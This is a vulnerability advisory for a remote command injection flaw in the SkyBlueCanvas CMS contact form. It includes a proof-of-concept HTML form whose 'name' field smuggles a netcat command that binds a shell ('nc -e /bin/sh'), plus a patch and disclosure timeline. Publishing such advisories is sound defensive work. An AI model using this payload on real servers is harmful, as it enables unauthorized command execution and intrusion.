Skybluecanvas CMS 1.1 r248-03 - Remote Command Execution







Vulnerability in SkyBlueCanvas CMS

Vulnerability Type:
Remote Command Injection

Version Affected:
1.1 r248-03 (and probably prior versions)

Discovered by:
Scott Parish - Center for Internet Security

Vendor Information:
SkyBlueCanvas is an easy-to-use Web Content Management System, that makes it simple to keep the content of your site 
fresh. You simply upload the software to your web server, and you are ready to start adding text and pictures to your 
web site.

Vulnerability Details:
The SkyBlueCanvas Lightweight CMS application contains a remote command injection vulnerability within the form on the 
Contact page. A remote un-authenticated user can exploit this vulnerability to force the webserver to execute commands 
in the context of the vulnerable application. It is possible to exploit this vulnerability because the POST parameters 
"name", "email", "subject", and  "message" are not properly sanitized when submitted to the index.php?pid=4 page. 
Arbitrary commands can be executed by injecting the following payload to a vulnerable parameter:
A"; <command>
Since the page does not display the results of the injected command (blind injection) then testing must be done using a 
ping, nc, or similar command.

Proof of Concept Exploit Code:
<form action="http://localhost/index.php?pid=4"; method="post">
  <input type="hidden" name="cid" value="3">
  <input type="hidden" name="name" value="test&#34;&#59; nc -e /bin/sh 12345">
  <input type="hidden" name="email" value="test">
  <input type="hidden" name="subject" value="test">
  <input type="hidden" name="message" value="test">
  <input type="hidden" name="action" value="Send">
  <input type="submit" value="submit">


The vendor has issued a fix to the vulnerability in version 1.1 r248-04

Revision History:
1/9/14 - Vulnerability discovered
1/10/14 - Vulnerability disclosed privately to vendor
1/22/14 - Patch released by vendor
1/23/14 - Vulnerability disclosed publicly
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